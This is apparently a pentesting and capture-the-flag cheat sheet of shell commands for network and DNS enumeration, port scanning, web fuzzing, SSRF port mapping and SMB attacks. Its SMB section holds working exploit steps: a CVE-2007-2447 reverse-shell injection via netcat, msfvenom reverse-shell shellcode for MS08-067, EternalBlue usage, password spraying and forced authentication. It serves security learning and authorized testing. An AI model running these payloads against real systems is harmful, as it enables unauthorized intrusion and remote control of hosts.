caribpa / forget-the-flag-hacksheet

FTF Hacksheet allows the friendly hacker to focus on happy hacking!

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

ftf-hacksheet

  • Forget The Flag Hacksheet

Cheatsheets

Cheat.sh

  • Site - CLI, local and online cheatsheet:
    # Single query
    cht.sh go reverse a list
    
    # Interactive mode
    cht.sh --shell
    
    go reverse a list
    
    # Tool specific search
    cd go
    
    reverse a list
    
    # Copy last result without comments
    ccopy
    
    # Search
    /~<keyword>   # One level search
    /~<keyword>/i # One level insensitive
    /~<keyword>/b # One level word-bound
    /~<keyword>/r # Recursive search
    
    # Auto-query using clipboard changes
    stealth  # Add Q for commands-only
        

tldr

  • Site - CLI - Simplified man pages:
    tldr <tool>
        

Network Enumeration

IP

Find External IP

Dig

  • By querying Google’s NS:
    dig TXT +short o-o.myaddr.l.google.com @ns1.google.com
        

openssl s_client

  • By asking ipecho.net:
    echo -ne "GET /plain HTTP/1.0\r\nHost: ipecho.net\r\n\r\n" | openssl s_client -connect ipecho.net:443 -verify_quiet -quiet 2>/dev/null | sed -n '${G;P}'
        

Find Internal IP

Local Subnet

sed -n '/[[:digit:]]/{:a;N;/LOCAL/!{D;ba};/ 127.0.0/d;s/^[^[:digit:]]*\|.\n.*//gp;q}' /proc/net/fib_trie

Get the eth0 Gateway

# TODO - Modify to use in scripts
awk '/eth0/&&$3{split($3,a,"");while(i++<8)printf"%d.","0x"a[9-++i]a[10-i];print"\b ";exit}' /proc/net/route

DNS and Hostname

Domain Resolution

Perl

  • Core Perl - IPv4
    perl -MSocket -E 'say+inet_ntoa+inet_aton"<domain>"'
        
  • Core Perl - IPv6
    perl -mSocket -E '$_?say+Socket::inet_ntop+10,unpack+x8a16,$$_{addr}:""for+Socket::getaddrinfo"<domain>","",{socktype,3,family,10}'
    # See below the meaning of magic numbers
        
  • Core Perl - Reverse Resolution
    # Use AF_INET6 for IPv6
    perl -MSocket -E '$_?say+Socket::getnameinfo$$_{addr},"",Socket::NIx_NOSERV:""for+Socket::getaddrinfo"<ip>","",{socktype,SOCK_RAW,flags,Socket::AI_NUMERICHOST,family,AF_INET4}'
        

Sub-Network Resolution

  • Locate all possible DNS servers in the network:
    # Use -sS for alternate TCP scan
    # Maybe use 54,443 in a second round
    nmap -sU -sV --open --reason -T4 --min-rate=1000 -Pn -oG dns.grep -p 53,5353 10.0.0.1/24
        
  • Find which of the possible DNSs obtained before are legit and their hostname:
    # Replace -U with -T for TCP ports
    # Change -W <timeout> and -P <procs>
    # if unreliable results
    awk '/\/open/{gsub(" [0-9]+", "& " $2 " " $2 "\n"); gsub("/open[^,]*,?|.*Ports:",""); print}' dns.grep | xargs -n 3 -P 0 -- host -U -W1 -p | awk '!/timed out|^$|end of file/; /arpa/{print ""}' | tee dnses.txt
        
  • Find the domain names of all the machines in the network using the detected DNS (machines without a name won’t be listed):
    # Reminder: test TCP DNSs with -T
    awk -F' |#' '/#/{print $2, $3}' dnses.txt | while read dns port; do seq 254 | xargs -I{} -P 0 -- host -U -W1 -p${port} "${dns%.*}".{} ${dns}; done | sed -n '/domain name/{s/\([0-9]\+\.\)\([0-9]\+\.\)\([0-9]\+\.\)\([0-9]\+\.\)/\4\3\2\1/;s/\.in.* \|\.$/ /gp}' | sort -t. -k4 -nu | column -t
        
  • Obtain the hostname of a Domain Controller with nslookup:
    nslookup
    
    set type=all
    _ladp._tcp.dc._msdcs.<domain>
        

Zone Transfer

Notes

  • Attempt to perform them especially if there are servers with TCP port 53 (or 5353) open

Identify

Host
  • Address complete lookup:
    # Non-standard port with -p <port>
    host -t ANY <ip> [<dns>]
    # -t NS to only show nameservers
    
    # Using the "all" flag
    host -a <ip> [<dns>]
        
  • List all the records in the zone:
    host -l -t ANY <hostname> [<dns>]
    # -t NS to only show nameservers
    
    # Using the "all" flag
    host -l -a <hostname> [<dns>]
        
NSlookup
  • Hostname resolution:
    nslookup
    
    server <dns>
    <ip>
    # Hostname returned
        
  • List all the records in the zone:
    nslookup
    
    server <dns>
    set q=any
    # Also try: set type=NS
    <hostname>
        
Dig
  • Hostname resolution:
    # Add +search to read resolv.conf
    dig @<dns> <ip>
    # Add +short for compact output
    
    # Reverse resolution
    dig @<dns> -x <ip>
        
  • ANY details:
    # Add +tcp or +notcp to use TCP/UDP
    dig @<dns> -4 <ipv4> ANY +nocmd +recurse +unexpected +fail +additional
    # Use NS to show nameservers only
    # Add +nssearch to search for names
        
  • Perform Zone Transfer:
    # Can use -q <hostname> instead
    dig @<dns> <hostname> AXFR
    # Can use -t AXFR instead
        

Bruteforce

Dictionaries

Ffuf

  • Site - Most flexible fuzzer:
    ffuf -u https://FUZZ.<domain> -c -ac -w <domlist>
    # Use -s to only show results
    # See URL Enumeration for more info
    
    # vhost discovery
    ffuf -u https://<ip> -H "Host: FUZZ.<domain>" -c -ac -w <domlist>
    # Don't forget to also try HTTP
        

Gobuster

  • Site - Dir/File/DNS/VHost fuzzer:
    gobuster dns -t 30 -d <domain> -w <wlist>
    # Use -z to hide the progress with
    # See URL Enumeration for more info
        

Hosts

  • Those domains found in certificates without DNSs to resolve shall be added to /etc/hosts:
    <ip> <hostname1> <hostname2>...
        

Change DNS

Systemd-resolved

  • Add new DNS and domain:
    # Add DNS
    resolvectl dns <iface> <dns-ip>
    
    # State domains to resolve
    resolvectl domain <iface> <domain>
    # Domain can be "local", "htb", etc
        

Resolv.conf

  • Note that I couldn’t get this to work, maybe because of a lack of search <domain> before nameserver
  • Add new DNS:
    # Note that resolv.conf gets edited
    # by nm, resolvconf, etc
    echo 'nameserver <dns-ip>' >> /etc/resolv.conf
    # Note that options are usually
    # required to resolve with all DNSs
        

NetworkManager

  • Note that I couldn’t get this to work, maybe because I didn’t specify the domain to be searched by the conn
  • Add new DNS and DNS options:
    # Find <connection-name>
    nmcli con show
    
    # Add DNS
    nmcli con mod <connection-name> +ipv4.dns "<dns-ip>"
    
    # Add DNS options
    nmcli con mod <connection-name> +ipv4.dns-options rotate
    
    nmcli con mod <connection-name> +ipv4.dns-options timeout:1
    
    nmcli con mod <connection-name> +ipv4.dns-options retries:1
    
    # Reload connection
    nmcli con reload <connection-name>
        

Ping

  • Batch ping-sweep:
    for /L %i in (1,1,255) do @ping -n 1 -w 200 10.0.0.%i > nul && echo 10.0.0.%i is up
        

Ports

Scan

Nmap

  • Quick TCP - Top 100 ports - SYN Scan:
    # -T<0-5> Timing of the scan
    # -T0 -> slowest | -T5 fastest
    # Improve results by lowering -T
    # -T4 is good enough for fast networks
    # -T3 is the default
    # -T2 and less for cautious
    # Figuring --min-rate is a priority
    # Use --max-rate 5 if WAF blocks IP with
    #  --scan-delay 5ms --max-scan-delay 6ms
    # -sT for CONNECT scan
    # Ignore Windows ports above 49152
    # Remove -n to resolve <hostname>
    nmap -sS -n -sV -Pn --open --reason -T4 --min-rate=5000 --top-ports=100 -oG <name>-100-tcp.gnmap <ip/hostname>
    # Try CONNECT scan if no results
        
  • Full TCP - all ports - SYN Scan:
    # -sT for CONNECT scan
    nmap -sS -n -sV -Pn --open --reason -T4 --min-rate=5000 -p- -oG <name>-all-tcp.gnmap <ip/hostname>
    # Try CONNECT scan if no results
        
  • Quick UDP - Top 50 ports:
    # --min-rate is always less for UDP
    nmap -sU -n -sV -Pn --open --reason -T4 --min-rate=1000 --top-ports=50 -oG <name>-50-udp.gnmap <ip/hostname>
    # If only open|filtered:
    #  Remove -sV unless scan was fast
        
  • Print hosts with their open ports using nmap grep output:
    awk '/\/open/{gsub("/open[^,]*,?",""); match($0,"[0-9 ]+$"); print $2 substr($0,RSTART)}' <scan>.gnmap
        
  • Update scripts:
    nmap --script-updatedb
        
  • Default scripts + Deep fingerprint:
    # -sT for CONNECT scan
    # -sU for UDP scan
    # Provide both -sS and -sU along
    # with -p U:<udp-port>,T:<tcp-port>
    nmap -sS -n -sV -sC -A --open --reason -Pn -T4 --min-rate=1000 -p<ports> <ip/hostname>
        
  • Vulnerable scripts:
    # -sT for CONNECT scan
    # -sU for UDP scan
    # Provide both -sS and -sU along
    # with -p U:<udp-port>,T:<tcp-port>
    nmap -sS -n -sV --open -Pn -T4 --min-rate=1000 --script=vuln -p<ports> <ip/hostname>
    
    # Vuln scripts not in the vuln pack
    nmap -sS -n -sV --open -Pn -T4 --min-rate=1000 --script=\*vuln\* -p<ports> <ip/hostname>
        
  • ? ports accessible with netcat:
    # Note how long it takes nc to conn
    time nc -nv <ip> <port>
    # echo quit | time nc ... to measure
    
    # Edit nmap/nmap-service-probes
    locate nmap-service-probes
    
    # Set totalwaitms to the nc time
    # Also alter the NSE scripts timeout
    # or add the appropriate script-args
    nmap -sS -n -sV -sC --open -Pn -T4 --min-rate=1000 -p<?ports> <ip/hostname>
    # --script-timeout=<t> ends after t
        
  • Full UDP - all ports - Really slow:
    # Only use -sV with open ports
    nmap -sU -n -Pn --open --reason -T4 --min-rate=1000 -p- -oG <name>-all-udp.gnmap <ip/hostname>
        
  • Segmented scan over SOCKS tunnel:
    # Using tun2socks for improvement
    sudo -v; seq 100 100 65535 | while read ports; do sudo nmap -sS -n -sV -Pn --open --reason -T4 --min-rate=5000 -p$((ports - 100))-$ports -oG tun-100-tcp.gnmap -e tun10 <ip> 2>&1; cat tun-100-tcp.gnmap >> tun-all-tcp.gnmap; sleep 2; done | stdbuf -i0 -o0 awk '/open/ && !/tcpwrapped/' | tee out.nmap
    # chisel was used as SOCKS mechanism
        

Smap

  • Site - Binary - shodan.io powered nmap:
    # Passive, fast + a few false negatives
    smap <target1> [<target2> ...]
    # -oS - - Custom smap out format
    # -iL <ifile> - List of targets to scan
    # The -p only allows comma-sep ports:
    #   -p $(seq -s, 0 15536)
    # Other nmap options are ignored
    # IPv6 not supported
        
  • List of shodan ports

Masscan

  • Install the Zero Copy driver if your card supports it and check for it:
    # Check if the driver is identified
    masscan --iflist
    # If your iface has the PFRING id
    # you can add the --pfring flag
    # To the scans
        
  • Scan all TCP ports:
    masscan -e <iface> --rate=5000 -p1-65535 --interactive -oG <name>-all-tcp.gmscan <ip/hostname>
    # You can add --retry 2 or lower the
    # rate to make it more accurate
        
  • Scan all UDP ports:
    masscan -e <iface> --rate=1000 -pU:1-65535 --interactive -oG <name>-all-udp.gmscan <ip/hostname>
        
  • Print hosts with their open ports using masscan grep output:
    sort -k4 <scan>.gmscan | awk -F'\\s|/' '/open/{if(ip != $4){if(ip){print ""};ip=$4;p=ip}; printf "%s %s", p, $7; p=""} END{print ""}'
        

Bash

  • Find open ports using bash:
    seq 65535 | xargs -I {} timeout .2 bash -c ": > /dev/tcp/10.0.0.1/{}; echo {}"
        

Banners

Netcat

  • Grab the banners and interact with the service:
    # Add -C for adding carriage return
    nc -nv <ip> <port>
        

Traffic Capture

tcpdump

  • Capture all traffic from an iface:
    # Filter to a given ip + port exclude
    tcpdump -i <iface> host <ip> and not tcp port <port>
        
  • Detect remote open ports if a firewall is in the way with ncat:
    # In remote machine (also -u for UDP)
    seq 65535 | xargs -P 0 -I{} ncat -p {} -w 1 <lip> <lport> 2>/dev/null
    # <lip> is the machine with tcpdump
        
  • The same can be achieved with socat using SOCKS/TCP4 with sourceport=port, socksport=port, or bind=:<port>, and maybe reuseaddr - TODO

Website / URL

Discovery

Nmap

  • nmap --script=http-enum

Dirhunt

  • Site - Interesting files (Flags):
    # Int files: -f <file1>,<file2>...
    # Int extensions: -e <php>,<js>...
    dirhunt --limit 0 http://<ip>/
    # Exclude -x <flags>:
    # -x http,not_found,index_of,300-500
        

gospider

  • Site - Fast spider written in go:
    # Crawl dom+subdomains indefinetely
    gospider -s <url> -d 0 --sitemap -w
    # --json - JSON output
    # -r     - Also find from Archive.org
        
  • Non-duplicated sites clean output - proxy
    gospider -s <url> -p http://<proxy:p> -d 0 --sitemap -w | awk '!x[$NF]++{print $NF}'
    # Filter-> Prepend /<site>/~$NF&& to awk
        
  • Or with json + cookies - no subdomains:
    gospider -s <url> --cookie 'a=b; c=d' -d 0 --sitemap --json | jq -r '.output' | awk '!x[$0]++'
    # --whitelist-domain=<regex> - Dom only
        

hakrawler

  • Site - Wayback Machine crawler:
    hakrawler -u <<< "<url>"
    # -u     - Show unique URLs only
    # -d <n> - Depth to crawl, defaults to 2
    # -subs  - Also crawl subdomains
        

Photon

  • Site - OSINT crawler (stdout values):
    # Crawl site - show same-domain URL:
    photon.py -u 'http://<ip-hostname>' --only-urls -t 5 -l 999 --stdout=internal
    # Exclude: --exclude='/manual[1|2]'
    
    # Scrap content based on regex:
    photon.py -u 'http://<ip-hostname>' -t 5 -l 999 --stdout=custom -r 'https?://[A-z0-9\._\/\-?=]+'
    
    # Find high entropy secrets:
    photon.py -u 'http://<ip-hostname>' -t 5 -l 999 --keys --stdout=keys
    # Check <ip-hostname>/{intel,files}
    
    # Locally clone the site:
    photon.py -u 'http://<ip-hostname>' -t 5 -l 999 --clone
    # Check --ninja and --wayback flags
        
  • For self-signed certs errors, find all instances of requests.get() and add ~, verify=False~ as last param - Ref
    # Execute in the Photon folder
    grep -r 'requests.get(' | cut -d: -f1 | xargs -I{} sed -i 's/\(requests.get(.*\)\([,)]\)/\1, verify=False\2/' {}
        

Maryam

  • Site - OSINT Data collector Framework:
    # Extract based on regex
    maryam -e crawl_pages -d <ip-host> -r 'https?://[A-z0-9\._\/\-?=]+' --thread 5 --limit 999 --more
    # Check the --wayback flag
    # Use crawler to simply crawl
        

Evine

  • Site - Interactive Web Crawler:
    # Press Enter & Ctrl+Space to search
    evine -robots -sitemap -depth 999 -url http://<ip-hostname>
    # Tab move | CtrlS save | CtrlZ exit
    
    # Query field
    <ext>      # Show all files.<ext>
    all        # Show all findings
    url        # Show in-scope URLs
    all_urls   # Out-scope URLs
    query_urls # In-scope URLs with ?q=
    script/css # JavaScript/CSS files
    cdn        # CDN files
    comment    # HTML comments
    media      # Non-web files: PNG, ZIP
    phone      # Phone numbers from href
    email      # In/Out-scope emails
    network    # Social Media IDs/links
    dns        # Subdomains of the site
    <jquery>   # Obtain selector content
    # Example: $("a").attr("href")
        
  • JQuery selector methods

Wappalyzer

  • Site/npm - Identify Web Technologies:
    # -a <User-Agent> | -P  Pretty JSON
    wappalyzer <url> -p -r -P
    # -D/-m  Max depth/urls
        

Arjun

  • Site - HTTP parameters discovery
    arjun -u '<url>'
    # -i <file>    - Multiple URLs
    # -m <method>  - GET/POST/XML/JSON
    # --stable     - Use when unstable
    # --passive [] - Use Wayback, etc
    # -w <file>    - Use custom wordlist
    # -oB [<port>] - Proxy to Burp
        

Bruteforce

Dictionaries

Ffuf

  • Site - Most flexible fuzzer (Ref):
    # FUZZ will be the param subtituted
    ffuf -u <url>/FUZZ -c -ac -ic -w <wlist>
    # -c - color
    # -ac - Auto-calibrate filters
    # -ic - Ignore comments in <wlist>
    #
    # -r - Follow redirects
    # -ignore-body - Don't fetch body
    # -acc <str> - Custom-auto-calibrate
    # -t <threads> - 40 by default
    # -s - Silent mode - results only
    # -v - Full URLs and redirects
    # -o <file> - Save results to file
    # -or - Don't create file if empty
    # -of <output-format> - json/md/csv
    # -od <output-directory>
    #
    # <ENTER> to enter interactive-mode
    #  help | resume/ENTER | [queue]show
    #  fc/fl/fw/fs <value> | restart
    #
    # -noninteractive - Disable int-mode
    
    # Fuzz rate limited with variable delay
    ffuf -u <url>/FUZZ -t 4 -p '0.5-0.6' -rate 5 -c -ac -ic -w <wlist>
    # -p <delay> - Fixed or variable
    
    # Fuzz multiple domains
    ffuf -u 'https://DOM/WLIST' -ac -sf -c -w <domlist>:DOM -w <wlist>:WLIST
    # -sf - Stop when HTTP 403 > 95%
    
    # Fuzz params with reflective match
    ffuf -u <url>/?PARAM=VAL -mr "VAL" -c -w <paramlist>:PARAM,<valist>:VAL
    # -m pitchfork - Try same line wlist
    #   Line 1 param -> Line 1 val
    #   Line 2 param -> Line 2 val...
    
    # Fuzz extensions recursively
    ffuf -u <url>/FUZZ -c -ic -w <wlist> -recursion -e .bak,.zip
    # -D - DirSearch advanced exts mode
    # -recursion-strategy default/greedy
    
    # Fuzz headers - Custom Auto-filter
    ffuf -u <url> -c -w <vhostlist> -acc 'www' -H 'Host: FUZZ.<domain>'
    
    # Fuzz cookies through a proxy
    ffuf -u <url> -w <wlist> -x <proxy> -c -b 'admin=FUZZ'
    # -b <cookies> - Cookies ';' delim
    # -x <socks5/http>://<ip> - Proxy to use
    # -replay-proxy <proxy> - Relay
    
    # Fuzz POST data with PUT method
    ffuf -u <url> -w <wlist> -X PUT -c -d 'user=FUZZ'
    # -X <method> - HTTP method to use
    # -d <data> - POST data | JSON data
    
    # Fuzz creds from a request capture
    ffuf -request <req> -c -ac -w <ulist>:USER -w <plist>:PASS
    # -request-proto http - Force HTTP
    # -mode pitchfork     - Use for SQLi
    
    # Filter-out HTTP statuses & length
    ffuf -u '<url>/FUZZ' -c -w <wlist> -fc 500,403,301 -fs 0,1
    # -fc <codes> - HTTP statuses
    # -fs <sizes> - HTTP sizes
    # -fw <count> - Word count
    # -fl <count> - Line count
    # -fr <regex> - Regex
    
    # Match codes and regex
    ffuf -u '<url>/FUZZ' -c -w <wlist> -mc 200,204 -mr '[aA]dmin|pass'
    # -mc <codes> - HTTP statuses | all
    # -ms <sizes> - HTTP sizes
    # -mw <count> - Word count
    # -ml <count> - Line count
    # -mr <regex> - Regex
        

Gobuster

  • Site - Dir/File/DNS/VHost fuzzer:
    # Pay attention to 405 codes
    gobuster dir -t 30 -u <url> -w <dic>
    # Add --no-error to hide bad urls
    # Use -k to ignore SSL validation
    # Use -b with the codes to ignore
    # Use -s with only the codes to show
    # Use -x with the extensions to test
    # Use -f to add a slash to the words
    # Use -a to set an User-Agent
    # or use --random-agent
    # Use -e to show the full URL match
    # Use -z to hide the progress with
    # the last resort lists as it breaks
    # Increase threads with big lists
    # Use -o to save to file
    # Use -q to hide banner and progress
    
    # Fuzz HTTP parameters
    gobuster fuzz -u '<url>?FUZZ=test' -w <dic>
        
  • Pattern support

Wfuzz

  • Site - Multi-purpose fuzzer - docs
    # -> Filters may glitch the terminal
    wfuzz -w <wlist> -Z -c '<url>/FUZZ'
    # -Z - Ignore errors | -c - colors
    # -H <header>
    # --hh <n> - Filter by size
    # --hl <n> - Filter by lines
    # --hw <n> - Filter by words
    # --hc <c> - Filter by HTTP code
    # --hs <r> - Filter by PyRegex
    # Use --s[hlwcs] <w> for matches
    
    # Filter using a baseline + cookie
    wfuzz -w <wlist> -X HEAD --hh BBB -b 'PHP=lol' -c '<url>/FUZZ{nopage}'
    # First request will be <url>/nopage
    
    # Read from stdin and fuzz POST
    sed '1,33d' <file> | wfuzz -z stdin -d 'user=FUZZ&pass=test' -c '<url>'
    
    # Fuzz HTTP Basic + follow redirect
    wfuzz -w <wpwd> -w <wusr> --basic 'FUZ2Z:FUZZ' --follow -c '<url>'
    
    # Fuzz numeric identifier
    wfuzz -z range,0-100 -Z -c '<url>/FUZZ'
        
  • wfpayload TODO
  • Apparently still better than ffuf

Screenshot

gowitness

  • Site - Bin - Multi-URL screenshot+collage:
    # Screenshot multi-URLs + populate DB
    gowitness file -f <urls.txt>
    # -F                  - Fullpage capture
    # --header "<header>" - Chainable
    # --user-agent "<UA>"
    # -t <threads>
    # -d <secs>           - Screenshot delay
    # -p <proxy>
    # --no-http[s]        - If no URL schema
    
    # Screenshot single URL
    gowitness single --disable-db -o <file> <url>
    # --pdf     - Save screenshot as PDF
    # -P <dir>  - Screenshot directory path
    # -X <width>
    # -Y <height>
    # --disable-logging
    
    # Show a simplified database status
    gowitness report list
    
    # Start complete report server
    gowitness server -a <ip:port>
    # -A       - Allow non HTTP(S) URIs
    
    # Save visual report site as standalone
    gowitness report export -f <archive.zip>
        

capture-website-cli

  • Site - Flexible Puppeteer web capture cli:
    capture-website --output=web.png <url/file>
    # --header="<header>"  - Can be chained
    # --cookie="<cookie>"  - Can be chained
    # --user-agent="<UA>"
    # --authentication="<http-auth>"
    #
    # --emulate-device="<device>"
    # --list-devices
    #
    # --timeout=<secs>
    # --delay=<secs>
    #
    # --scale-factor=<n>
    # --module=<js/file> - Inject JavaScript
    # --script=<js/file> - Inject JS: script
    #
    # --no-javascript
    # --no-block-ads
    # --no-default-background
    # --disable-animations
    #
    # --dark-mode
    # --style=<CSS/file> - Inject CSS style
    #
    # --element=<CSS-selector> - Capture DOM
    # --click-element=<CSS-selector>
    # --wait-for-element=<CSS-selector>
    # --scroll-to-element=<CSS-selector>
    # --hide-elements=<CSS-selector> - Chain
    # --remove-elements=<CSS-selector> - ^
    #
    # --launch-options="<puppeteer-json>"
    
    # Auto-crop full-page with --height=1
    capture-website --height=1 --full-page --overwrite --output=web.png <url/file>
    # 'Unable to capture screenshot' means
    # that the height is above 10000000px
    # This is a Chrome limitation
    
    # Use --inset to workaround the issue
    capture-website --height=30000 --inset=20000,0,0,0 --overwrite <url>
    # ^ 10000 pixels from 20000y-px
        

Tampering

Wuzz

  • Site - HTTP Client - hidden flags:
    # Ctrl-J/K: Down/Up  |Ctrl-R: Submit
    # Ctrl-E: Export Curl|Alt-H: History
    # Ctrl-S: SaveRequest|Ctrl-C: Quit
    wuzz http://<ip-hostname>
    # Proxy: -x <proxy-url>
    
    # URLencode data + no redirect
    wuzz --data-urlencode "user=<hi>" -R http://<ip-hostname>
    # For GET urlencode try: -X GET
    # For binary data: --data-binary <d>
    # Multiple data: user=user&pass=pass
        

Mitmproxy

  • Site - Proxy - Docs/Addons (xss/sqli):
    # Listens on port 8080 by default
    mitmproxy --anticache -p 8080
    # Other mode: -m socks5/transparent
    # Use addons: -s <addon.py>
    # Don't verify SSL: -k
    # Client obtain SSL: http://mitm.it
    
    # Vi movement | Commands:
    f # Regex of captures to show/edit
    i # Regex of captures to intercept
    I # Toggle intercept
    v # Reverse capture order
    o # Set capture ordering
    n # Make new request
    D # Duplicate capture
    :export.clip curl @focus # Clipboard
    e # At mainpage view: Export to file
    e # At capture/intercept view: Edit
    V # Revert capture/intercept changes
    r # Replay capture
    a # Forward selected intercept
    A # Forward all intercepts
    X # Drop intercept
    d # Delete capture
    z # Delete all captures
    F # Focus on capture
    P # Show capture details
    m # Toggle capture mark
    M # Toggle show only marked
    U # Unset all marks
    Z # Remove not showing
    S # Start server replay
    E # Show event log
    - # Cycle layouts
    O # Change Options
    ? # Help (view specific and global)
    
    # Capture/Intercept filter expr:
    ~q           # Match Requests
    ~c   <rcode> # Match HTTP Res Code
    ~m   <regex> # Match HTTP Method
    ~u   <regex> # Match URL (default)
    ~b   <regex> # Match Req/Res body
    ~bs  <regex> # Match Response body
    ~h   <regex> # Match Req/Res header
    ~hq  <regex> # Match Request header
    ~src <regex> # Match src address
    ~dst <regex> # Match dst address
    ~marked      # Match marked Req/Res
    ~a           # Match assets IMG,JS..
    ~e           # Match errors
    ~http ~tcp ~websockets # Match flows
    # Unary expr: ! & | and: () grouping
    
    # For auto-regex replacement check:
    # Map Remote/Local Modify Body/Headr
    
    # Set/Alter headers -> Options
    modify_headers
      /<header-name>/<value>
    
    # Mitmproxy has a Python library
        
  • Export to curl command format and add -j <cookiejar> to get Netscape cookies
  • If HAR dumping, use Hargo to process
  • Use mitmdump for non-interactive CLI

Requestify

  • Site - Convert Raw HTTP Request:
    # To NodeJS (JSON header)
    requestify.py -i <raw> -l nodejs
        

RABID

  • Site - RAW Cookie decoder - Docs:
    rabid '<raw-cookie>'
        

SSRF

curl

  • Map all open localhost TCP ports:
    # GET request
    seq 65535 | xargs -P 0 -I{} sh -c 'curl -m 5 -s "http://<domain.port>/?url=http://127.0.0.1:{}" | tr "\n" " " | sed -n "/[^ ]/{s/^/\n[+] {}:\n &/;s/$/\n/p}"'
    
    # POST request
    seq 65535 | xargs -P 0 -I{} sh -c 'curl -m 5 -s -L --data-urlencode "url=http://127.0.0.1:{}" http://<domain.port> | tr "\n" " " | sed -n "/[^ ]/{s/^/\n[+] {}:\n &/;s/$/\n/p}"'
        

URI Schemes

HTTP / HTTPS

  • May accept inline Basic Auth:
    • http://<usr>:<pass>@<domain/ip>
  • Spaces not allowed - hex-code them

FTP / FTPS

  • Inline auth supported:
    • ftp://<usr>:<pass>@<domain/ip>

File

  • Like in the filesystem -> Don’t think it follows the HTTP rules, but some implementations may vary (ex: Windows)
  • You may specify a hostname:
    • file://<host>/<full/path>/file.txt
    • Omitting <host> means localhost
  • For Windows, the drive is necessary:
    • file://<host>/c:/<path>/file.txt
  • But the host is optional:
    • file:///c:/<path>/file.txt
  • Four slash host is an alt for Win UNC:
    • file:////<server>/<dir>/file.txt
    • Like \\<server>\<dir>\file.txt
  • Spaces supported as is, no hex need:
    • file:///<full/path>/test file.txt
  • One slash means that there’s no host:
    • file:/<full/path>/file.txt

Gopher

  • GET request for /test on localhost
    • gopher://<ip>:80/_GET%20/test%20HTTP/1.1
  • Empty POST request to / on localhost
    • gopher://<ip>:80/_POST%20/%20HTTP/1.1%0a

Data

  • Plaintext or Base64, other encodings may be supported:
    • data://text/plain,<plaintext>
    • data://text/plain;base64,<b64text>
  • Optional attributes may allow specifying a filename (name):
    • data://application/pdf;name=document.pdf;base64,<b64text>
  • Leading slashes might be omitted:
    • data:image/gif;base64,<b64text>

Protocols

SMB

Enumeration

Nmap

Safe
  • All enums
    nmap -sS -n -sV --open -p135,139,445,1025 -Pn --script=\*smb\*enum\* <ip>
    
    # Set a different user/pass with:
    #  --script-args=smbusername=<user>
    # Use a , and smbpassword=<pass>
    nmap -sS -n -sV --open -p135,139,445,1025 -Pn --script=\*smb\*enum\* --script-args=smbusername=<user>,smbpassword=<pass> <ip>
        
  • Proto + MBenum + OS + Security + Stat
    nmap -sS -n -sV --open -p135,139,445,1025 -Pn --script=smb-protocols,smb-mbenum,smb-os-discovery,smb-security-mode,smb-system-info,smb2-capabilities <ip>
        
  • Many useful scripts:
    nmap -sS -n -sV --open -p135,139,445,1025 -Pn --script=smb-enum-domains,smb-enum-groups,smb-enum-processes,smb-enum-services,smb-enum-sessions,smb-enum-shares,smb-enum-users,smb-ls,smb-mbenum,smb-os-discovery,smb-protocols,smb-security-mode,smb-server-stats,smb-system-info,smb2-capabilities,smb2-security-mode,smb2-time <ip>
        
Unsafe
  • All the previous scans can be made unsafe by setting --script-args=unsafe=1
  • Vulnerability enums:
    nmap -sS -n -sV --open -p135,139,445,1025 -Pn --script=smb\*vuln\* <ip>
        
  • All “useful” SMB scans unsafe-mode:
    nmap -sS -n -sV --open -p<ports> -Pn --script='(smb*) and not (brute or broadcast or dos or external or fuzzer)' --script-args=unsafe=1 <ip>
        

enum4linux

  • Site - ng-version - Enum SMB info
    enum4linux -d <ip>
    # -u <user> | -p <pass>
    
    # Extra for DCs
    enum4linux -d -a -l <ip>
        

smbclient

  • First add min protocol = NT1 or SMB2 to the end of /etc/smb.conf
  • List services/shares:
    # Use -N for no-password
    # Change the security inline
    # --option='client min protocol=NT1'
    smbclient -L <ip> --port=<alt port> --user=<optional user>
    # <ip> may need to be:
    #  //<ip>/
    #  \\\\<ip>\\
        
  • Connect to service:
    # Use -N for no-password
    smbclient //<ip>/<service>$
    # You will have more luck with those
    # that don't end in a $
        
  • Auth access to the System Volume:
    smbclient -U "<user>%<pass>" //<ip>/SYSVOL
    
    ls
        

smbmap

  • Site - SMB enumeration tool:
    smbmap -u 'guest' -H <ip>
    # Wrong username required to work
    # -p <passwd/ntlm>
    # -x <cmd>       - Execute command
    # -R <share>     - Recursive listing
    # --upload <src> <dst>
    # --download <path>
        

Bruteforce

Hydra

  • Site - Multi-protocol bruteforcer:
    # Check hydra -U smb for more opts
    hydra -l admin -P <dict> smb://<ip>
        

CrackMapExec

  • CrackMapExec - Swiss Army Win pentest
    # Spray a password across users
    crackmapexec smb <ip> -u <userlist> -p <passwd>
        
  • SMB reference

Mount shares

mount

# Using SMBv1
# Press <Enter> when asked for a
# password to mount anonymously
mount -t cifs -o vers=1.0,username=guest //<ip>/<service>$ /mnt

# Alternative
mount -t cifs -o vers=1.0,guest //<ip>/<service>$ /mnt
# You may try to pass user=<name>
# to impersonate

# Last alternative
mount -t cifs -o vers=1.0,sec=none //<ip>/<service>$ /mnt
# Also try without the trailing $

MS-RPC - CVE-2007-2447

  • Affects SMB 3.0.0 < 3.0.25rc3
  • Anon login required to a share:
    # Change the security with
    # --option='client min protocol=NT1'
    smbclient -N //<ip>/<share>
    
    # logon command must be available
    help
    
    # Spawn a reverse shell
    logon "./=`nohup nc -n <ip> <port> -e /bin/sh`"
    # Fallback to $() and single quotes
        
  • There’s also this Python implementation

MS08-067

  • Use ms08-067.py
  • Replace the payload with msfvenom:
    msfvenom -p windows/shell_reverse_tcp LHOST=<ip> LPORT=8080 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f py -v shellcode
        
  • Run it:
    python2 ms08-067.py <ip> <os-type> <port>
        

MS17-010

  • Modify the Python scripts for just sending files after obtaining a shell (search and comment the service_exec function call)
  • IMPORTANT: The scripts may fail if using blank credentials, whereas they won’t with the wrong ones (see smbmap)
  • helviojunior/MS17-010
    • Win XP - Send and run executables:
      # Modify USERNAME if needed
      python2 send_and_execute.py <ip> <shell.exe>
              
  • 3ndG4me/AutoBlue-MS17-010
    • Modern scripts but no XP exploitation
    • Best pipe finder (works in XP):
      python2 eternal_checker.py <ip>
              

printerbug.py

  • Site - Auth -> SpoolService bug via SMB
    # Force auth with attacker: responder
    printerbug.py [[<dom>/]<user>[:<pass>]@]<host/ip> <attacker-ip>
        

Impacket

PSEXEC

  • psexec.py - SMB upload & exec bin: cmd
    # By default runs cmd.exe
    psexec '[dom/]<user>[:<pass>]@<ip>'
    # -no-pass
    # -hashes <LM>:<NT> - NTLM auth
    # -k                - Kerberos auth
        

SMBserver

  • smbserver.py - Share a path over SMB:
